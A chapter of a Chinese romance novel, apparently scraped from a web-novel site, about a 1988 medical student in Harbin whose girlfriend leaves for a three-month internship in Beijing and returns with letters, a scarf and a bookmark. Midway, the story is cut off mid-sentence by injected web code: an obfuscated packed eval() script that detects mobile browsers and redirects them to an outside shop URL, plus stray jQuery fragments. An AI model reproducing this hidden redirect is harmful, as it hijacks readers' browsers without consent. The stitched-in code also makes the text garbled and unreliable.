大二下学期开学没多久，苏晓梅来找我。


    五月的哈尔滨，丁香花开得正盛。白的、紫的、粉的，一簇一簇挤在枝头，香味浓得化不开，走在路上像泡在蜜罐子里。她站在女生宿舍楼下的丁香花丛边，穿着一件白色的衬衫，袖子挽到手肘，手里拿着一本书，书页被风吹得哗哗响。丁香花瓣落在她肩膀上，她没拍，就让它贴着。


    “建军，我有个事跟你说。”


    她叫我的时候很少加姓，就两个字，干脆利落。但那天她的语气不太对，像是憋着什么话，到了嘴边又咽回去。


    “什么事？”


    “协和那边……有一个实习名额。”她看着我，“公卫部的。流行病学方向，三个月。”


    我愣了一下。“协和？北京的协和？”


    “嗯。”


    “你报了吗？”


    “系里推荐了我。”她的声音越来越小，“但我还没决定。”


    “为什么没决定？”


    她低下头，用鞋尖踢着地上的丁香花瓣。踢了一颗又一颗，花瓣粘在鞋面上，她没管。“去了就是三个月。三个月见不到你。”


    我心里一暖。这个姑娘，在公卫系是出了名的能扛事——传染病防控的课她门门优秀，实习的时候敢第一个进隔离区。可她在这儿站着，为三个月见不到我发愁。


    “你去。”我说。


    她抬起头，看着我。“你不生气？”


    “我生什么气？”


    “我去了北京，三个月见不到你。你不难过？”


    “难过。”我笑了笑，“但你不能因为怕我难过就不去。那是协和。全国最好的公卫机构之一。你去三个月，学的本事够你用一辈子。你以后回鸡西疾控中心，能用到。”


    她看着我，眼眶红了。低下头，又踢了一颗石子。石子滚到花丛边，撞到丁香树的根部，停住了。她抬起头，看着我的眼睛，说了一句让我记了一辈子的话：“建军，你这个人，就是太懂事了。懂事得让人心疼。”


    我伸手把她肩膀上的丁香花瓣摘下来，放在手心里。“我不懂事。我只是觉得，你去北京，比留在这里陪我有用。你学到的东西，以后能用上。我在这里等你，能等住。”


    苏晓梅去北京的前一天晚上，我们去了学校后门那家小饭馆。


    刘老板看到我们俩，笑了。“又是你们？这回吃啥？”


    “锅包肉。”苏晓梅抢在我前面点了菜，“两份。一份现在吃，一份打包。”


    “打包？”


    “嗯。带在路上吃。火车上的饭不好吃。”她转过头看着我，“你上次不是说火车上的饭像猪食吗？”


    我愣了一下。那是我大一入学时在火车上随口说的一句话，跟她说过一次，她记了两年。我说火车上的饭难吃，她就记住了。她要去北京，坐十几个小时的火车，还没上车就想着帮我带一份锅包肉。不是给自己带的，是给我的。她要带在路上吃，怕我饿着。


    那顿饭我们吃了很久。锅包肉凉了，不脆了，面糊软了，但她还在吃。她吃得很慢，一小口一小口地嚼，像是在品尝什么很重要的东西。我知道她不是在品尝锅包肉，她是在品尝剩下的时间。她的筷子在盘子里拨拉着，一块一块地夹，像是在数。


    “建军，你说咱们以后会怎么样？”她忽然问我。


    “什么怎么样？”


    “毕业以后。你回鸡西，我回牡丹江。你回去照顾你爸，我回去照顾我妈。咱们不在一个城市，怎么办？”


    我想了想。“我去牡丹江找你。”


    “你爸怎么办？”


    “他身体好的时候我回去看他。不好的时候我把他接过来。”


    “接过来住哪？”


    “租房子。租个大点的。”


    “你有钱吗？”


    “没有。”


    她笑了。“没有钱你还敢说租大点的？”


    “先欠着。以后挣了再还。”


    她看着我，眼眶又红了。这一次她没有低头，没有踢石子，就那么看着我，眼睛红红的，嘴角往上翘着，想笑又想哭，最后眼泪还是掉了下来。一颗一颗，砸在桌上，砸在凉了的锅包肉里。她没擦，就让它流。


    “建军，你这个人，说话不算话。”


    “我哪里说话不算话了？”


    “你说你要去牡丹江找我。但我知道你不会去。你爸身体不好，你舍不得走。”


    我愣住了。她想得比我还远。


    有些人，你说什么她都信。苏晓梅信我说要去牡丹江找她，信我要租个大点的房子，信我以后挣了钱会还。她信的其实不是我说的那些话，她信的是我这个人。但她比我更清楚，我走不了。**


    苏晓梅去北京那天，我去火车站送她。


    火车是早上的，天还没亮，站台上风很大。她穿着一件深蓝色的棉袄，脖子上围着一条红围巾——那是她用第一笔奖学金买的，花了一半的钱。她说是“给自己买的”，但每次我夸好看，她就笑，笑得梨涡深深。


    她把行李放好，站在车门口，看着我。我们面对面站着，中间隔了两步的距离。风把她的头发吹得乱飞，她用另一只手按住头发，另一只手攥着车票，攥得指节发白。车票被她攥出了褶子。


    “建军，我走了。”


    “嗯。”


    “你要给我写信。”


    “写。一个星期一封。”


    “一个星期太久了。三天一封。”


    “三天一封？我哪有那么多话写？”


    “你写不出来就抄课文。抄解剖学。抄股骨。”


    我笑了。“我抄股骨给你，你能看懂吗？”


    “看不懂也要看。那是你写的。你写的字我都看。”


    火车快开了，站台上的铃声急促地响着，催促旅客上车。苏晓梅站在那里，没有动。她看着我，嘴唇动了几下，想说什么，又咽回去了。然后她走过来，伸出手，抱了我一下。很轻，很短，像一片树叶落在肩膀上，还没感觉到重量就飘走了。她松开手的时候，把一张纸条塞进我手里。


    她转身上车，找到靠窗的位置，隔着玻璃冲我挥手。我也冲她挥手。火车开了，她的脸一点一点往后退，一点一点变小，最后变成了一个看不清的点，消失在了铁轨的尽头。我站在站台上，看着空荡荡的铁轨，站了很久。站台上的风很大，吹得人睁不开眼睛。


    我打开那张纸条。上面只有一行字，字迹工整，一笔一划：“你忙你的，家里有我。”


    我攥着纸条，站了很久。


    一个人的背影，看多了就不难过了。不是不难过了，是习惯了。苏晓梅的背影，我看了三年。从哈尔滨到北京，从北京到鸡西，她的背影一直在往前，我一直在看。但她说“家里有我”的时候，我知道她不是一个人在往前，她在等我。


    三个月后，苏晓梅从北京回来了。


    我去火车站接她。她穿着一件浅蓝色的外套，围着那条红围巾，手里拎着一个大行李箱，肩上挎着一个帆布包。她从出站口走出来的时候，太阳正从云层后面钻出来，阳光落在她身上，把她的头发照成了棕色。她瘦了一些，下巴更尖了，但眼睛更亮了。


    她看到我，笑了。那笑容很亮，亮得我眼睛发酸。


    “建军！”


    她跑过来，行李箱的轮子在水泥地上咕噜咕噜响。她没有停下来，一直跑到我面前，然后站住，看着我，大口大口喘气。


    “你瘦了。”我说。


    “你也是。”


    “我写信给你，你收到了吗？”


    “收到了。三十六封。一封不少。”


    “你数了？”


    “数了。每封都编了号。”


    我愣了一下。她确实给每封信都编了号，用铅笔写在信封的角落，很小，不仔细看看不到。她说怕丢，丢了不知道少哪封，还得写信问我补。我说少哪封我再写一遍，她说不一样。第一遍是第一遍，第二遍是第二遍。第一遍的心情，第二遍写不出来。


    她把手里的东西递给我。是一个搪瓷缸子，用布包着，打开，里面是一罐咸菜。芥菜疙瘩，切得细细的，拌了辣椒油，红彤彤的，看着就开胃。罐子上面贴着一张纸条，写着：“给建军吃的。别省。吃完再给你寄。”


    “你妈腌的？”我问。


    “嗯。她听说我要回来，腌了好几罐。我说带一罐就行，她说不行，你那个同学瘦，得多吃点。”苏晓梅笑了，“我妈说，你那个同学一看就是个实在人，以后能当个好大夫。”


    我接过那罐咸菜，捧在手里，沉甸甸的。


    她还带了一样东西。从帆布包里掏出来，用手绢包着，一层一层打开。是一条围巾，灰色的，针脚歪歪扭扭，有的地方松有的地方紧，像是织的人手生，又像是织的人心不在焉。


    “你织的？”我问。


    “嗯。”她的脸红了，“在北京学的。协和那边冬天冷，我没事就织。织了好几条，就这条还能看。”


    我接过来，摸了摸。毛线软软的，有点扎手。针脚确实不整齐，但每一针都很用力，用力到毛线都被拉紧了。我把围巾围在脖子上，转了一圈。苏晓梅看着，笑了。那笑容很满意，像是在看自己完成的一件作品。


    “好看吗？”我问。


    “还行。”她说，“就是有点歪。”


    “歪的好看。歪的有特点。”


    “你这个人，嘴笨的时候真笨，甜的时候真甜。”


    “那我什么时候甜？”


    “现在。”


    我笑着，她也笑着。我们站在火车站广场上，风吹过来，围巾的流苏飘起来，擦过她的脸颊。她伸手帮我理了理围巾，动作很轻，像是在整理一件很珍贵的东西。


    那天晚上，我们七个——加上苏晓梅——在食堂聚了一顿。张卫国点了一桌子菜，红烧肉、锅包肉、地三鲜、溜肉段、酸菜粉条，摆了满满一桌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648818|206845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。马俊才倒了七杯汽水，一人一杯，连苏晓梅也有一杯。他举起杯子，声音很大，大到食堂里的人都看过来。


    “欢迎嫂子回来！”


    苏晓梅的脸一下子红了，红到耳根，像煮熟的虾。她端起汽水杯，碰了一下马俊才的杯子，声音很小，但每个字都清楚。“谢谢。”


    “嫂子，你在协和学了啥本事？”张卫国问。


    苏晓梅想了想。“学会了做流调。协和公卫部的老师带我们做了一个传染病暴发调查，从病例发现到溯源到防控措施，一整套流程。”她顿了顿，“还学会了织围巾。”


    “织围巾也算本事？”马俊才插嘴。


    “当然算。一个人在北京，不织围巾干嘛？又没人说话。”


    她看了我一眼。那一眼很轻，但我看到了。她说“又没人说话”的时候，眼睛是看着我的。


    张卫国撸起袖子，把胳膊伸过来。“那你给我扎一针试试？”


    “我没带针。”


    “下次补上。”


    “行。下次给你扎。”


    张卫国缩回胳膊，笑了。那笑容很憨，像个傻子。他端起汽水杯，仰头干了，打了个嗝，橘子味的。苏晓梅也干了，呛得直咳嗽。我拍了拍她的背，她把我的手推开，说“没事”。她的耳朵还是红的，红得烫手。


    有些人说“我等你”，是让你等。有些人说“我等你”，是她等你。苏晓梅说“家里有我”的时候，她已经在等我了。她等了我三年，从大二等到毕业，从哈尔滨等到鸡西。


    苏晓梅去北京实习，陈建军在哈尔滨等她。三个月，三十六封信，一封不少。她给他写，他也给她写。写的不是信，是把每一天掰成两半，一半给她，一半留给自己。


    苏晓梅说“给喜欢的人写信，当然要郑重”。她写的每一个字都很用力，用力到纸背凸起，用力到墨迹洇开。那不是写信，是把每一天的想念都摁进纸里。


    那天晚上熄灯后，我躺在床上，把苏晓梅写的三十六封信从枕头底下抽出来，按编号排好，一封一封地看。从第一封到第三十六封，字迹从工整变潦草，又从潦草变工整。工整的时候是她心情好，潦草的时候是她累了，但每一封的最后都有同样一句话——“建军，我想你了。”


    我把信折好，塞回枕头底下。窗外月光很亮，照得寝室里白晃晃的。张卫国在打呼噜，马俊才在说梦话，李学俭在翻书，赵志远在翻身，周明远在叹气，林文斌在上铺翻来覆去。六个人的动静汇在一起，像一首没有谱子的曲子，不专业，不好听，但真实。


    我闭上眼睛，嘴角慢慢翘了起来。


    苏晓梅回来了。协和的三个月，她学会了做流调，学会了织围巾。我在哈尔滨的三个月，学会了等她。


    那罐咸菜，我吃了整整一个学期。每次想省着吃，筷子一伸就停不下来。苏晓梅说“别省，吃完再给你寄”，可我舍不得吃完。最后一勺的时候，我夹了好久，才夹起来放进嘴里。芥菜疙瘩，辣辣的，咸咸的，嚼着嚼着，嗓子就堵了。


    那条围巾，我戴了一整个冬天。针脚歪歪扭扭的，但特别暖和。张卫国说“你这围巾咋织成这样”，我说“你懂啥，这叫特色”。马俊才说“你这特色也太特色了”，我说“你四级单词背完了吗”。他就不说话了。


    后来苏晓梅告诉我，那条围巾她织了一个月。她白天在协和实习，晚上回宿舍织，织到手指头都肿了。协和那边没有卖毛线的，她坐了一个小时的公交车去王府井买的。毛线不贵，但车票贵。她舍不得坐车，走着回来的，走了一个多小时。


    “你为什么不坐车？”我问。


    “坐车的钱够买半斤毛线了。”


    “你为了省几毛钱，走了一个多小时？”


    “嗯。省下来的钱买了这个。”她从口袋里掏出一个东西，是一枚书签。铜的，薄薄的，上面刻着一行字——“1988，北京，协和。”她递给我，“在北京的时候买的。一直想着给你。但不知道怎么给。”


    “怎么不知道怎么给？”


    “怕你嫌不好。”


    我接过那枚书签，翻过来，背面又刻了一行字，字很小，歪歪扭扭的，像是刻的人手在抖——“陈建军收。”


    “你刻的？”


    “嗯。在王府井那边有个刻字的老大爷。我求了他半天，他才答应。他说‘小姑娘，你这是刻给谁的’，我说‘刻给我对象’。他笑了，说‘你对象有福气’。”


    我把那枚书签攥在手心里，攥了很久。铜的，凉的，硌手的。但那凉意一点点变暖，像是它自己在发热。


    “晓梅。”


    “嗯。”


    “你也有福气。”


    她笑了，梨涡深深。“我知道。”


    有些人给你写信，写的是每一天的想念。有些人给你织围巾，织的是每一针的等待。有些人给你刻书签，刻的是每一个字的郑重。苏晓梅什么都没说，但她什么都做了。